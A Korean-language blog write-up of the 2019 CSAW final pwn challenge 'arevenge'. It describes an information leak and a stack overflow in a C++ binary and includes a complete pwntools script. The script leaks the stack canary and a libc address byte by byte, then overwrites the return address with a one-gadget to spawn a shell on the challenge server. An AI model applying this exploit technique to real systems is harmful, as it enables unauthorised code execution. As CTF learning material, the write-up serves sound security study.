본문 바로가기

system/writeup

2019 csaw final arevenge

2019 csaw final arevenge

c++ 바이너리로 문제화돼서 한 번 풀어봤는데 어려웠다..

이 문제를 통해 알아갈 수 있었던 것이 많았으므로 라업을 한번 써본다.

krrr@ubuntu:~/pwn/csaw/arevenge$ file a.out
a.out: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=93f2e298bd1e9cd9f8bf146f0b7bdb545b2c6d73, not stripped
krrr@ubuntu:~/pwn/csaw/arevenge$ ldd a.out
linux-vdso.so.1 (0x00007ffe8b45c000)
libstdc++.so.6 => /usr/lib/x86_64-linux-gnu/libstdc++.so.6 (0x00007f9a8ff9f000)
libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007f9a8fc01000)
libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007f9a8f9e9000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f9a8f5f8000)
/lib64/ld-linux-x86-64.so.2 (0x00007f9a9052c000)

c++ 관련 라이브러리가 포함되어 있다.

메인 함수의 switch 부분이다. 굉장히 간단하다.

A 함수에서 leak이 발생하고 B 함수에서 stack overflow가 발생한다.

취약점도 굉장히 간단하고, 코드 길이도 짧지만 c++ STL을 모른다면 분석하기 힘들 것이다.

A 함수를 좀 더 살펴보자.

std::begin, std::end를 사용하여 iterator를 생성한 뒤 이를 비교한다.

여기서, get 함수의 size 검사가 존재하지 않으므로 한 바이트씩 비교하며 leak이 가능해진다.

B 함수는 아주 간단하므로 패스하자.

이제 간단하게 canaryleak하고, oneshot하면 쉘을 얻을 수 있다.

from pwn import *

context.arch = 'amd64'
#context.log_level= 'debug'

#stdout = subprocess.PIPE
#stdin = subprocess.PIPE

#stdout = process.PTY
#stdin = process.PTY

e = ELF('a.out')
s = connect('pwn.chal.csaw.io', 1003)
#s = process(e.path)
#s = process(e.path, stdout=stdout, stdin=stdin)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#l = ELF('1', checksec=False)

ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
sa = lambda x,y: s.sendafter(x,y)

def menu(sel):
   sl(sel)

def A(data):
   menu('1')

   sl(str(len(data)))
   sl(data)

   return "found" in s.recvline()

def B(data):
   menu('2')

   sl(str(len(data)))
   sl(data)

sp = set(['\t', ' ', '\n', '\x0b', '\x0c', '\r'])
def leak(size, secret):
   length = len(secret)
   for _ in range(size):
       for j in range(256):
           if chr(j) not in sp:
               if A(secret + chr(j)):
                   secret += chr(j)
                   break
   print len(secret[length:])
   return secret[length:]

secret = 'A'*8
B(secret)

cookie = u64(leak(8, secret))
log.info('cookie: {}'.format(hex(cookie)))

secret = 'A'*56
B(secret)

l_base = u64(leak(8, secret)) - 0x21b97
log.info('l_base: {}'.format(hex(l_base)))
one_list = [0x4f2c5, 0x4f322, 0x10a38c]
one = l_base + one_list[0]

secret = 'A'*8 # buf
secret += p64(cookie) # cookie
secret += 'A'*8 # rbp
secret += p64(one)
secret = secret.ljust(0x100, '\x00')

B(secret)

sl('3')
io()

'system > writeup' 카테고리의 다른 글

2018 bctf houseofatum  (0) 2019.12.01
2019 d3ctf new_heap  (0) 2019.11.30
2019 hack.lu chat  (0) 2019.11.12
2019 hitcon lazyhouse  (0) 2019.11.06
2019 hitcon trick_or_treat  (0) 2019.11.04